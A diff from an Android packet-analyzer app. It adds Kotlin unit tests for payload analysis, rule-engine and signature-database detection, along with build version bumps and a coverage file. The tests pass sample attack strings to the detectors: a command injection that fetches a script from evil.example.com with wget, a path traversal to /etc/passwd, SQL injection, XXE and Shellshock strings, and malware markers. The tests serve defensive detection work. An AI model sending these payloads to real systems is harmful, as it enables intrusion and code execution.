} + + @Test + fun `detects ZIP by magic bytes`() { + val payload = byteArrayOf(0x50, 0x4B, 0x03, 0x04, 0, 0, 0, 0) + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + assertTrue(detectedMimeTypes(result).contains("application/zip")) + } + + @Test + fun `detects PDF by magic bytes`() { + val payload = byteArrayOf(0x25, 0x50, 0x44, 0x46, '-'.code.toByte(), '1'.code.toByte()) + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + assertTrue(detectedMimeTypes(result).contains("application/pdf")) + } + + @Test + fun `does not detect a file signature for plain benign text`() { + val payload = "just a normal short benign text message, nothing special here".toByteArray() + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + assertTrue( + "Expected no analysis keys for benign text, got: ${result.keys}", + result.isEmpty() + ) + } + + // ---- Embedded file scan (not just offset 0) ------------------------------ + + @Test + fun `finds an embedded ZIP signature in the middle of the payload`() { + val prefix = "some random binary junk that is not a known file type-----".toByteArray() + val zipSig = byteArrayOf(0x50, 0x4B, 0x03, 0x04) + val suffix = "trailing data after the zip signature marker".toByteArray() + val payload = prefix + zipSig + suffix + + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + + @Suppress("UNCHECKED_CAST") + val files = result["detectedFiles"] as? List> + assertNotNull("Expected an embedded ZIP to be detected", files) + val embedded = files!!.firstOrNull { it["type"] == "embedded_zip" } + assertNotNull("Expected a detectedFiles entry of type embedded_zip", embedded) + assertEquals(prefix.size, embedded!!["offset"]) + } + + // ---- Security risk flags -------------------------------------------------- + + @Test + fun `flags suspicious code execution keyword`() { + val payload = "some code: eval(userInput); more text".toByteArray() + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + @Suppress("UNCHECKED_CAST") + val flags = result["securityFlags"] as? List + assertNotNull(flags) + assertTrue(flags!!.contains("SUSPICIOUS_CODE_EXECUTION")) + } + + @Test + fun `flags potential SQL injection when password and select co-occur`() { + val payload = "SELECT password FROM users WHERE id=1".toByteArray() + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + @Suppress("UNCHECKED_CAST") + val flags = result["securityFlags"] as? List + assertNotNull(flags) + assertTrue(flags!!.contains("POTENTIAL_SQL_INJECTION")) + } + + @Test + fun `flags potential XSS when script and alert co-occur`() { + val payload = "".toByteArray() + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + @Suppress("UNCHECKED_CAST") + val flags = result["securityFlags"] as? List + assertNotNull(flags) + assertTrue(flags!!.contains("POTENTIAL_XSS")) + } + + @Test + fun `flags executable content for Windows PE header`() { + val payload = byteArrayOf(0x4D, 0x5A, 0, 0, 0, 0, 0, 0) + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + @Suppress("UNCHECKED_CAST") + val flags = result["securityFlags"] as? List + assertNotNull(flags) + assertTrue(flags!!.contains("EXECUTABLE_CONTENT_DETECTED")) + } + + @Test + fun `does not flag an innocuous conversational payload`() { + val payload = "Hello, how are you today? The weather is nice.".toByteArray() + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + assertFalse(result.containsKey("securityFlags")) + } +} diff --git a/android/app/src/test/kotlin/com/example/packet_analyzer/RuleEngineTest.kt b/android/app/src/test/kotlin/com/example/packet_analyzer/RuleEngineTest.kt new file mode 100644 index 0000000..72062b0 --- /dev/null +++ b/android/app/src/test/kotlin/com/example/packet_analyzer/RuleEngineTest.kt @@ -0,0 +1,396 @@ +package com.example.packet_analyzer + +import org.junit.Assert.* +import org.junit.Before +import org.junit.Test + +class RuleEngineTest { + + @Before + fun setUp() { + // Clears rate/window state (packetHistory, triggerCount, etc.) between tests. + // Note: rules added via addRule() persist for the lifetime of the RuleEngine + // singleton (there is no removeRule API), so custom rules below use unique, + // narrowly-scoped conditions that cannot accidentally match other tests' packets. + RuleEngine.clearState() + } + + // ---- Helpers ------------------------------------------------------- + + private fun packet( + protocol: String = "TCP", + destPort: Int = 0, + sourcePort: Int = 0, + destIp: String = "192.0.2.10", + sourceIp: String = "192.0.2.20", + flags: String = "", + httpData: Map? = null, + domain: String? = null, + timestamp: Long = System.currentTimeMillis() + ): Map { + val map = mutableMapOf( + "protocol" to protocol, + "destinationPort" to destPort, + "sourcePort" to sourcePort, + "destinationIp" to destIp, + "sourceIp" to sourceIp, + "flags" to flags, + "timestamp" to timestamp + ) + if (httpData != null) map["httpData"] = httpData + if (domain != null) map["domain"] = domain + return map + } + + private fun matches(packetInfo: Map, payload: ByteArray? = null) = + RuleEngine.evaluateRules(packetInfo, payload) + + private fun List.hasRule(id: String) = any { it.rule.id == id } + + // ---- Baseline -------------------------------------------------------- + + @Test + fun `benign packet with no payload triggers no default rules`() { + val result = matches(packet(protocol = "TCP", destPort = 51000, sourcePort = 51001)) + assertTrue( + "Expected no default rule to fire for a benign packet, got: ${result.map { it.rule.id }}", + result.none { it.rule.id.startsWith("RULE-") } + ) + } + + // ---- RULE-002 SQL Injection ------------------------------------------- + + @Test + fun `SQL injection rule fires for SQLi pattern in URL`() { + val p = packet( + protocol = "TCP", + destPort = 80, + httpData = mapOf("url" to "/login.php?id=1' OR '1'='1--") + ) + assertTrue(matches(p).hasRule("RULE-002")) + } + + @Test + fun `SQL injection rule does not fire for benign URL`() { + val p = packet( + protocol = "TCP", + destPort = 80, + httpData = mapOf("url" to "/home/index.html") + ) + assertFalse(matches(p).hasRule("RULE-002")) + } + + // ---- RULE-003 Malicious File Download ---------------------------------- + + @Test + fun `malicious file download rule fires for exe download`() { + val p = packet(httpData = mapOf("method" to "GET", "url" to "/downloads/setup.exe")) + assertTrue(matches(p).hasRule("RULE-003")) + } + + @Test + fun `malicious file download rule does not fire for normal page GET`() { + val p = packet(httpData = mapOf("method" to "GET", "url" to "/downloads/report.html")) + assertFalse(matches(p).hasRule("RULE-003")) + } + + // ---- RULE-001 Port Scan (UniqueDestinations + FlagsContain + Protocol) -- + + @Test + fun `port scan rule fires with many unique destinations and SYN flag`() { + var result = emptyList() + for (i in 1..20) { + result = matches( + packet(protocol = "TCP", destPort = 443, destIp = "203.0.113.$i", flags = "SYN") + ) + } + assertTrue(result.hasRule("RULE-001")) + } + + @Test + fun `port scan rule does not fire with too few unique destinations`() { + var result = emptyList() + for (i in 1..5) { + result = matches( + packet(protocol = "TCP", destPort = 443, destIp = "203.0.114.$i", flags = "SYN") + ) + } + assertFalse(result.hasRule("RULE-001")) + } + + // ---- RULE-004 DNS Tunneling (PacketRate + PayloadSize / DomainMatches) -- + + @Test + fun `DNS tunneling rule fires via large payload at high query rate`() { + val payload = ByteArray(200) { 0x41 } + var result = emptyList() + repeat(11) { + result = matches(packet(protocol = "UDP", destPort = 53), payload) + } + assertTrue(result.hasRule("RULE-004")) + } + + @Test + fun `DNS tunneling rule fires via long hex domain even with a small payload`() { + // Exercises the Condition.DomainMatches branch (Or'd with PayloadSize). + val longHexDomain = "0123456789abcdef0123456789abcdef.tunnel.example.com" + val smallPayload = ByteArray(10) { 0x00 } + var result = emptyList() + repeat(11) { + result = matches( + packet(protocol = "UDP", destPort = 53, domain = longHexDomain), + smallPayload + ) + } + assertTrue( + "Expected RULE-004 to fire via DomainMatches condition", + result.hasRule("RULE-004") + ) + } + + @Test + fun `DNS tunneling rule does not fire for ordinary low-rate DNS queries`() { + val payload = ByteArray(200) { 0x41 } + val result = matches(packet(protocol = "UDP", destPort = 53, domain = "example.com"), payload) + assertFalse(result.hasRule("RULE-004")) + } + + // ---- RULE-005 Brute Force (Or ports + PacketRate) ----------------------- + + @Test + fun `brute force rule fires after 21 rapid SSH connection attempts`() { + var result = emptyList() + repeat(21) { + result = matches(packet(protocol = "TCP", destPort = 22)) + } + assertTrue(result.hasRule("RULE-005")) + } + + @Test + fun `brute force rule does not fire for only a handful of attempts`() { + var result = emptyList() + repeat(5) { + result = matches(packet(protocol = "TCP", destPort = 22)) + } + assertFalse(result.hasRule("RULE-005")) + } + + // ---- RULE-006 Cryptomining (Protocol + Port + PayloadContains) ---------- + + @Test + fun `cryptomining rule fires for stratum payload on mining port`() { + val payload = "stratum+tcp://pool.example.com:3333".toByteArray() + val p = packet(protocol = "TCP", destPort = 3333) + assertTrue(matches(p, payload).hasRule("RULE-006")) + } + + @Test + fun `cryptomining rule does not fire without stratum keyword`() { + val payload = "just some ordinary tcp traffic".toByteArray() + val p = packet(protocol = "TCP", destPort = 3333) + assertFalse(matches(p, payload).hasRule("RULE-006")) + } + + @Test + fun `cryptomining rule does not fire on non-mining port even with stratum keyword`() { + val payload = "stratum+tcp://pool.example.com".toByteArray() + val p = packet(protocol = "TCP", destPort = 8080) + assertFalse(matches(p, payload).hasRule("RULE-006")) + } + + // ---- RULE-007 Suspicious Outbound Traffic (PacketRate + PayloadSize) ---- + + @Test + fun `outbound transfer rule fires for large payloads at high rate`() { + val payload = ByteArray(2000) { 0x42 } + var result = emptyList() + repeat(101) { + result = matches(packet(protocol = "TCP", destPort = 54321, destIp = "198.51.100.5"), payload) + } + assertTrue(result.hasRule("RULE-007")) + } + + @Test + fun `outbound transfer rule does not fire for a single large payload`() { + val payload = ByteArray(2000) { 0x42 } + val result = matches(packet(protocol = "TCP", destPort = 54322, destIp = "198.51.100.6"), payload) + assertFalse(result.hasRule("RULE-007")) + } + + // ---- RULE-008 Shellcode Pattern (Or of PayloadMatches) ------------------- + + @Test + fun `shellcode rule fires for NOP sled pattern`() { + val payload = ByteArray(15) { 0x90.toByte() } + assertTrue(matches(packet(destPort = 44000), payload).hasRule("RULE-008")) + } + + @Test + fun `shellcode rule fires for JMP short pattern`() { + val payload = byteArrayOf(0x01, 0x02, 0xEB.toByte(), 0x0E, 0x03, 0x04) + assertTrue(matches(packet(destPort = 44001), payload).hasRule("RULE-008")) + } + + @Test + fun `shellcode rule does not fire for benign payload`() { + val payload = "hello world, nothing suspicious here".toByteArray() + assertFalse(matches(packet(destPort = 44002), payload).hasRule("RULE-008")) + } + + // ---- RULE-009 Suspicious User-Agent (Or of HeaderMatches) ---------------- + + @Test + fun `suspicious user agent rule fires for python user agent`() { + val p = packet(httpData = mapOf("User-Agent" to "python-requests/2.25.1")) + assertTrue(matches(p).hasRule("RULE-009")) + } + + @Test + fun `suspicious user agent rule fires for curl user agent`() { + val p = packet(httpData = mapOf("User-Agent" to "curl/7.68.0")) + assertTrue(matches(p).hasRule("RULE-009")) + } + + @Test + fun `suspicious user agent rule does not fire for a normal browser`() { + val p = packet( + httpData = mapOf( + "User-Agent" to "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124" + ) + ) + assertFalse(matches(p).hasRule("RULE-009")) + } + + // ---- RULE-010 ICMP Tunneling (Protocol + PayloadSize + PacketRate) ------ + + @Test + fun `ICMP tunneling rule fires for large payloads at high rate`() { + val payload = ByteArray(100) { 0x7A } + var result = emptyList() + repeat(11) { + result = matches(packet(protocol = "ICMP", destIp = "198.51.100.9"), payload) + } + assertTrue(result.hasRule("RULE-010")) + } + + @Test + fun `ICMP tunneling rule does not fire for small payloads even at high rate`() { + val payload = ByteArray(10) { 0x7A } + var result = emptyList() + repeat(11) { + result = matches(packet(protocol = "ICMP", destIp = "198.51.100.10"), payload) + } + assertFalse(result.hasRule("RULE-010")) + } + + // ---- addRule ------------------------------------------------------------- + + @Test + fun `addRule adds a custom rule that gets evaluated`() { + val custom = RuleEngine.Rule( + id = "TEST-CUSTOM-PORT-59999", + name = "Custom Test Rule", + description = "test rule added at runtime", + severity = AnomalyDetector.Severity.LOW, + category = "TEST", + conditions = listOf(RuleEngine.Condition.PortEquals(59999, RuleEngine.Direction.DESTINATION)), + action = RuleEngine.Action.Alert + ) + RuleEngine.addRule(custom) + + assertTrue(matches(packet(destPort = 59999)).hasRule("TEST-CUSTOM-PORT-59999")) + assertFalse(matches(packet(destPort = 12345)).hasRule("TEST-CUSTOM-PORT-59999")) + } + + @Test + fun `custom rule with Not condition inverts the inner condition`() { + val custom = RuleEngine.Rule( + id = "TEST-CUSTOM-NOT-UDP", + name = "Not UDP Rule", + description = "fires for any non-UDP protocol", + severity = AnomalyDetector.Severity.LOW, + category = "TEST", + conditions = listOf(RuleEngine.Condition.Not(RuleEngine.Condition.ProtocolEquals("UDP"))), + action = RuleEngine.Action.Alert + ) + RuleEngine.addRule(custom) + + assertTrue(matches(packet(protocol = "TCP", destPort = 22222)).hasRule("TEST-CUSTOM-NOT-UDP")) + assertFalse(matches(packet(protocol = "UDP", destPort = 22222)).hasRule("TEST-CUSTOM-NOT-UDP")) + } + + @Test + fun `custom rule combining IpEquals and PortInRange matches correctly`() { + val custom = RuleEngine.Rule( + id = "TEST-CUSTOM-IP-RANGE", + name = "IP + Port Range Rule", + description = "test", + severity = AnomalyDetector.Severity.LOW, + category = "TEST", + conditions = listOf( + RuleEngine.Condition.And( + listOf( + RuleEngine.Condition.IpEquals("203.0.113.99", RuleEngine.Direction.DESTINATION), + RuleEngine.Condition.PortInRange(6000, 7000, RuleEngine.Direction.DESTINATION) + ) + ) + ), + action = RuleEngine.Action.Alert + ) + RuleEngine.addRule(custom) + + assertTrue( + matches(packet(destIp = "203.0.113.99", destPort = 6500)).hasRule("TEST-CUSTOM-IP-RANGE") + ) + assertFalse( + "Wrong port should not match", + matches(packet(destIp = "203.0.113.99", destPort = 8000)).hasRule("TEST-CUSTOM-IP-RANGE") + ) + assertFalse( + "Wrong IP should not match", + matches(packet(destIp = "203.0.113.100", destPort = 6500)).hasRule("TEST-CUSTOM-IP-RANGE") + ) + } + + // ---- getStatistics --------------------------------------------------- + + @Test + fun `getStatistics reports rule counts by category and severity`() { + val stats = RuleEngine.getStatistics() + val total = stats["totalRules"] as Int + assertTrue("Expected at least the 10 default rules, got $total", total >= 10) + + val enabled = stats["enabledRules"] as Int + assertTrue(enabled in 1..total) + + @Suppress("UNCHECKED_CAST") + val byCategory = stats["byCategory"] as Map + assertTrue(byCategory.containsKey("WEB_ATTACK")) + assertTrue(byCategory.containsKey("RECONNAISSANCE")) + + @Suppress("UNCHECKED_CAST") + val bySeverity = stats["bySeverity"] as Map + assertTrue(bySeverity.containsKey(AnomalyDetector.Severity.CRITICAL)) + } + + // ---- clearState -------------------------------------------------------- + + @Test + fun `clearState resets rate-based rule history`() { + var triggered = false + repeat(25) { + if (matches(packet(protocol = "TCP", destPort = 3389)).hasRule("RULE-005")) triggered = true + } + assertTrue("Expected brute force rule to fire before reset", triggered) + + RuleEngine.clearState() + + var triggeredAfterReset = false + repeat(3) { + if (matches(packet(protocol = "TCP", destPort = 3389)).hasRule("RULE-005")) { + triggeredAfterReset = true + } + } + assertFalse("Rule state should be reset after clearState()", triggeredAfterReset) + } +} diff --git a/android/app/src/test/kotlin/com/example/packet_analyzer/SignatureDatabaseTest.kt b/android/app/src/test/kotlin/com/example/packet_analyzer/SignatureDatabaseTest.kt new file mode 100644 index 0000000..e49441b --- /dev/null +++ b/android/app/src/test/kotlin/com/example/packet_analyzer/SignatureDatabaseTest.kt @@ -0,0 +1,280 @@ +package com.example.packet_analyzer + +import org.junit.Assert.* +import org.junit.Test + +class SignatureDatabaseTest { + + // SignatureDatabase is a stateless singleton (matchSignatures has no rate/window + // logic), so there is no reset method and none is needed between tests. Signatures + // added via addSignature() persist for the JVM lifetime; tests use `.any {}` checks + // against unique ids rather than exact list sizes to stay robust to that. + + private fun packet( + protocol: String = "TCP", + destPort: Int = 0, + sourcePort: Int = 0, + destIp: String = "192.0.2.10", + sourceIp: String = "192.0.2.20", + httpData: Map? = null, + domain: String? = null + ): Map { + val map = mutableMapOf( + "protocol" to protocol, + "destinationPort" to destPort, + "sourcePort" to sourcePort, + "destinationIp" to destIp, + "sourceIp" to sourceIp + ) + if (httpData != null) map["httpData"] = httpData + if (domain != null) map["domain"] = domain + return map + } + + private fun List.hasSig(id: String) = + any { it.signature.id == id } + + // ---- Baseline ------------------------------------------------------ + + @Test + fun `benign traffic matches no signatures`() { + val p = packet(protocol = "TCP", destPort = 12345, sourcePort = 54321) + val payload = "just a normal, boring log line with nothing interesting in it".toByteArray() + val result = SignatureDatabase.matchSignatures(p, payload) + assertTrue( + "Expected no signature match for benign traffic, got: ${result.map { it.signature.id }}", + result.isEmpty() + ) + } + + // ---- MAL-001 Metasploit Meterpreter (PayloadContains) ----------------- + + @Test + fun `Metasploit Meterpreter signature matches payload containing meterpreter marker`() { + val payload = "some binary junk meterpreter stdapi_fs_stat more junk".toByteArray() + val result = SignatureDatabase.matchSignatures(packet(), payload) + assertTrue(result.hasSig("MAL-001")) + } + + // ---- MAL-002 WannaCry (CompositePattern, matchAll = true -> AND) ------- + + @Test + fun `WannaCry signature matches SMB port with tasksche_exe payload`() { + val payload = "...tasksche.exe...".toByteArray() + val p = packet(destPort = 445) + assertTrue(SignatureDatabase.matchSignatures(p, payload).hasSig("MAL-002")) + } + + @Test + fun `WannaCry signature does not match SMB port alone without payload marker`() { + val payload = "ordinary SMB traffic".toByteArray() + val p = packet(destPort = 445) + assertFalse( + "matchAll=true composite should require both sub-patterns", + SignatureDatabase.matchSignatures(p, payload).hasSig("MAL-002") + ) + } + + // ---- MAL-003 Cobalt Strike Beacon (HeaderPattern) ---------------------- + + @Test + fun `Cobalt Strike signature matches spoofed legacy IE user agent`() { + val p = packet( + httpData = mapOf( + "User-Agent" to "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" + ) + ) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("MAL-003")) + } + + // ---- EXP-001 SQL Injection (UrlPattern) -------------------------------- + + @Test + fun `SQL injection signature matches known SQLi URL fragment`() { + val p = packet(httpData = mapOf("url" to "/index.php?id=1' OR '1'='1")) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("EXP-001")) + } + + @Test + fun `SQL injection signature does not match benign URL`() { + val p = packet(httpData = mapOf("url" to "/index.php?id=42")) + assertFalse(SignatureDatabase.matchSignatures(p, null).hasSig("EXP-001")) + } + + // ---- EXP-002 Directory Traversal (UrlPattern) -------------------------- + + @Test + fun `directory traversal signature matches path traversal sequence`() { + val p = packet(httpData = mapOf("url" to "/files/../../etc/passwd")) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("EXP-002")) + } + + // ---- EXP-003 RCE Attempt (PayloadContains) ----------------------------- + + @Test + fun `RCE signature matches command injection payload`() { + val payload = "vulnerable_param=x; wget http://evil.example.com/x.sh".toByteArray() + assertTrue(SignatureDatabase.matchSignatures(packet(), payload).hasSig("EXP-003")) + } + + // ---- EXP-004 XXE (PayloadContains) ------------------------------------- + + @Test + fun `XXE signature matches DOCTYPE ENTITY payload`() { + val payload = "]>".toByteArray() + assertTrue(SignatureDatabase.matchSignatures(packet(), payload).hasSig("EXP-004")) + } + + // ---- RECON-001/002/003 Scanner user agents (HeaderPattern) ------------- + + @Test + fun `Nmap signature matches Nmap user agent`() { + val p = packet(httpData = mapOf("User-Agent" to "Nmap Scripting Engine")) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("RECON-001")) + } + + @Test + fun `Nikto signature matches Nikto user agent`() { + val p = packet(httpData = mapOf("User-Agent" to "Mozilla/5.00 (Nikto/2.1.6)")) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("RECON-002")) + } + + @Test + fun `SQLMap signature matches sqlmap user agent`() { + val p = packet(httpData = mapOf("User-Agent" to "sqlmap/1.5.2#stable (http://sqlmap.org)")) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("RECON-003")) + } + + @Test + fun `scanner signatures do not match an ordinary browser user agent`() { + val p = packet( + httpData = mapOf( + "User-Agent" to "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" + ) + ) + val result = SignatureDatabase.matchSignatures(p, null) + assertFalse(result.hasSig("RECON-001")) + assertFalse(result.hasSig("RECON-002")) + assertFalse(result.hasSig("RECON-003")) + } + + // ---- C2-001 TOR/known malicious IP (IpPattern) ------------------------- + + @Test + fun `known malicious IP signature fires for exact sample IP`() { + val p = packet(destIp = "185.220.101.0") + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("C2-001")) + } + + @Test + fun `known malicious IP signature does not fire for an arbitrary IP`() { + val p = packet(destIp = "8.8.8.8") + assertFalse(SignatureDatabase.matchSignatures(p, null).hasSig("C2-001")) + } + + // ---- C2-002 Known C&C domain (DnsPattern) ------------------------------- + + @Test + fun `known C2 domain signature fires for sample malicious domain`() { + val p = packet(domain = "www.evil-command-control.net") + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("C2-002")) + } + + @Test + fun `known C2 domain signature does not fire for an arbitrary domain`() { + val p = packet(domain = "www.google.com") + assertFalse(SignatureDatabase.matchSignatures(p, null).hasSig("C2-002")) + } + + // ---- C2-003 IRC Bot (CompositePattern) ---------------------------------- + + @Test + fun `IRC bot signature matches IRC port with PRIVMSG payload`() { + val payload = "PRIVMSG #channel :hello bot".toByteArray() + val p = packet(destPort = 6667) + assertTrue(SignatureDatabase.matchSignatures(p, payload).hasSig("C2-003")) + } + + // ---- EXFIL-001 Base64 Exfiltration (CompositePattern, OR) --------------- + + @Test + fun `base64 exfiltration signature matches data query parameter`() { + val p = packet(httpData = mapOf("url" to "/upload?data=abc123")) + val payload = "short body".toByteArray() + assertTrue(SignatureDatabase.matchSignatures(p, payload).hasSig("EXFIL-001")) + } + + // ---- BRUTE-001/002 SSH/RDP port signatures ------------------------------ + + @Test + fun `SSH brute force signature fires for port 22 traffic`() { + val p = packet(destPort = 22) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("BRUTE-001")) + } + + @Test + fun `RDP brute force signature fires for port 3389 traffic`() { + val p = packet(destPort = 3389) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("BRUTE-002")) + } + + // ---- NET-001 EternalBlue (CompositePattern) ----------------------------- + + @Test + fun `EternalBlue signature matches SMB port with named pipe payload`() { + val payload = "\\PIPE\\svcctl".toByteArray() + val p = packet(destPort = 445) + assertTrue(SignatureDatabase.matchSignatures(p, payload).hasSig("NET-001")) + } + + // ---- NET-002 Shellshock (HeaderPattern) -------------------------------- + + @Test + fun `Shellshock signature matches bash function definition in user agent`() { + val p = packet(httpData = mapOf("User-Agent" to "() { :; }; echo vulnerable")) + assertTrue(SignatureDatabase.matchSignatures(p, null).hasSig("NET-002")) + } + + // ---- addSignature ------------------------------------------------------- + + @Test + fun `addSignature adds a custom signature that gets matched`() { + val custom = SignatureDatabase.Signature( + id = "TEST-SIG-CUSTOM-001", + name = "Custom Test Signature", + category = SignatureDatabase.Category.MALWARE, + severity = AnomalyDetector.Severity.LOW, + pattern = SignatureDatabase.Pattern.PayloadContains( + listOf("customthreatmarkerxyz".toByteArray()) + ), + description = "test signature added at runtime" + ) + SignatureDatabase.addSignature(custom) + + val payload = "prefix customthreatmarkerxyz suffix".toByteArray() + assertTrue(SignatureDatabase.matchSignatures(packet(), payload).hasSig("TEST-SIG-CUSTOM-001")) + + val unrelatedPayload = "nothing to see here".toByteArray() + assertFalse( + SignatureDatabase.matchSignatures(packet(), unrelatedPayload).hasSig("TEST-SIG-CUSTOM-001") + ) + } + + // ---- getStatistics -------------------------------------------------- + + @Test + fun `getStatistics reports signature counts by category and severity`() { + val stats = SignatureDatabase.getStatistics() + val total = stats["totalSignatures"] as Int + assertTrue("Expected at least the 18 default signatures, got $total", total >= 18) + + @Suppress("UNCHECKED_CAST") + val byCategory = stats["byCategory"] as Map + assertTrue(byCategory.containsKey(SignatureDatabase.Category.MALWARE)) + assertTrue(byCategory.containsKey(SignatureDatabase.Category.WEB_ATTACK)) + + @Suppress("UNCHECKED_CAST") + val bySeverity = stats["bySeverity"] as Map + assertTrue(bySeverity.containsKey(AnomalyDetector.Severity.CRITICAL)) + } +} diff --git a/android/build.gradle b/android/build.gradle index 6e94089..a0ba2b4 100644 --- a/android/build.gradle +++ b/android/build.gradle @@ -1,11 +1,11 @@ buildscript { - ext.kotlin_version = '2.1.0' + ext.kotlin_version = '2.2.21' repositories { google() mavenCentral() } dependencies { - classpath 'com.android.tools.build:gradle:8.7.3' + classpath 'com.android.tools.build:gradle:8.11.2' classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version" } } diff --git a/android/build.gradle.kts b/android/build.gradle.kts deleted file mode 100644 index 89176ef..0000000 --- a/android/build.gradle.kts +++ /dev/null @@ -1,21 +0,0 @@ -allprojects { - repositories { - google() - mavenCentral() - } -} - -val newBuildDir: Directory = rootProject.layout.buildDirectory.dir("../../build").get() -rootProject.layout.buildDirectory.value(newBuildDir) - -subprojects { - val newSubprojectBuildDir: Directory = newBuildDir.dir(project.name) - project.layout.buildDirectory.value(newSubprojectBuildDir) -} -subprojects { - project.evaluationDependsOn(":app") -} - -tasks.register("clean") { - delete(rootProject.layout.buildDirectory) -} diff --git a/android/gradle/wrapper/gradle-wrapper.properties b/android/gradle/wrapper/gradle-wrapper.properties index afa1e8e..74b269f 100644 --- a/android/gradle/wrapper/gradle-wrapper.properties +++ b/android/gradle/wrapper/gradle-wrapper.properties @@ -2,4 +2,4 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-8.10.2-all.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.3-all.zip diff --git a/android/key.properties.example b/android/key.properties.example new file mode 100644 index 0000000..4b31be2 --- /dev/null +++ b/android/key.properties.example @@ -0,0 +1,4 @@ +storePassword=REPLACE_ME +keyPassword=REPLACE_ME +keyAlias=andronet-release +storeFile=../app/release-keystore.jks diff --git a/android/settings.gradle b/android/settings.gradle index cb7d7dd..a678d22 100644 --- a/android/settings.gradle +++ b/android/settings.gradle @@ -18,8 +18,8 @@ pluginManagement { plugins { id "dev.flutter.flutter-plugin-loader" version "1.0.0" - id "com.android.application" version "8.7.3" apply false - id "org.jetbrains.kotlin.android" version "2.1.0" apply false + id "com.android.application" version "8.11.2" apply false + id "org.jetbrains.kotlin.android" version "2.2.21" apply false } include ":app" diff --git a/coverage/lcov.info b/coverage/lcov.info new file mode 100644 index 0000000..b9f3f43 --- /dev/null +++ b/coverage/lcov.info @@ -0,0 +1,4048 @@ +SF:lib\models.dart +DA:10,1 +DA:11,2 +DA:12,2 +DA:18,1 +DA:20,0 +DA:21,0 +DA:40,1 +DA:66,2 +DA:73,3 +DA:77,1 +DA:78,2 +DA:81,1 +DA:83,2 +DA:84,2 +DA:85,2 +DA:86,2 +DA:87,2 +DA:88,3 +DA:93,1 +DA:96,0 +DA:102,1 +DA:104,2 +DA:105,2 +DA:108,2 +DA:109,2 +DA:111,2 +DA:112,2 +DA:113,2 +DA:114,2 +DA:116,2 +DA:117,3 +DA:118,2 +DA:119,2 +DA:120,1 +DA:121,1 +DA:124,1 +DA:125,0 +DA:127,1 +DA:128,2 +DA:129,2 +DA:130,2 +DA:131,2 +DA:132,2 +DA:133,2 +DA:134,2 +DA:135,1 +DA:136,1 +DA:137,1 +DA:141,0 +DA:143,0 +DA:144,0 +DA:146,0 +DA:150,1 +DA:151,3 +DA:152,3 +DA:153,2 +DA:154,0 +DA:155,0 +DA:156,4 +DA:169,1 +DA:180,1 +DA:181,1 +DA:182,2 +DA:183,2 +DA:185,2 +DA:188,2 +DA:189,2 +DA:190,2 +DA:192,2 +DA:193,2 +DA:194,1 +DA:195,2 +DA:196,2 +DA:201,0 +DA:204,0 +DA:206,0 +DA:207,0 +DA:210,0 +DA:213,0 +DA:217,0 +DA:219,0 +DA:221,0 +DA:222,0 +DA:224,0 +DA:231,1 +DA:232,2 +DA:233,1 +DA:235,1 +DA:237,1 +DA:239,1 +DA:246,1 +DA:247,2 +DA:248,1 +DA:250,1 +DA:252,1 +DA:254,1 +DA:256,1 +DA:258,1 +DA:260,1 +DA:267,1 +DA:268,2 +DA:269,1 +DA:271,1 +DA:273,1 +DA:275,1 +DA:277,1 +DA:279,1 +DA:281,1 +DA:284,2 +DA:294,0 +DA:307,1 +DA:314,1 +DA:315,1 +DA:316,3 +DA:317,1 +DA:318,3 +DA:320,1 +DA:321,2 +DA:322,2 +DA:323,2 +DA:324,2 +DA:333,0 +LF:122 +LH:99 +end_of_record +SF:lib\auth\auth_service.dart +DA:42,4 +DA:43,4 +DA:44,0 +DA:45,0 +DA:46,7 +DA:47,5 +DA:48,3 +DA:51,2 +DA:52,4 +DA:53,2 +DA:54,2 +DA:57,2 +DA:58,4 +DA:59,4 +DA:60,6 +DA:61,2 +DA:64,6 +DA:65,6 +DA:66,6 +DA:68,4 +DA:70,0 +DA:71,0 +DA:72,0 +DA:73,0 +DA:74,0 +DA:75,0 +DA:79,4 +DA:81,0 +DA:85,2 +DA:86,2 +DA:87,0 +DA:88,4 +DA:89,2 +DA:90,1 +DA:91,0 +DA:92,0 +DA:94,1 +DA:96,2 +DA:111,3 +DA:113,1 +DA:114,5 +DA:118,1 +DA:119,2 +DA:120,1 +DA:121,4 +DA:122,1 +DA:123,2 +DA:124,2 +DA:125,3 +DA:126,3 +DA:132,1 +DA:133,3 +DA:135,3 +DA:136,4 +DA:138,1 +DA:141,1 +DA:142,1 +DA:143,1 +DA:144,3 +DA:149,0 +DA:154,1 +DA:159,1 +DA:160,0 +DA:162,0 +DA:167,1 +DA:168,2 +DA:169,2 +DA:171,2 +DA:172,2 +DA:173,2 +DA:176,1 +DA:177,2 +DA:179,3 +DA:180,3 +DA:181,1 +DA:185,0 +DA:186,0 +DA:188,0 +DA:189,0 +DA:190,0 +DA:194,1 +DA:195,2 +DA:197,1 +DA:198,3 +DA:199,3 +DA:200,1 +DA:204,0 +DA:206,0 +DA:209,0 +DA:210,0 +DA:212,0 +DA:213,0 +DA:214,0 +DA:217,0 +DA:222,1 +DA:223,1 +DA:226,2 +DA:229,1 +DA:232,0 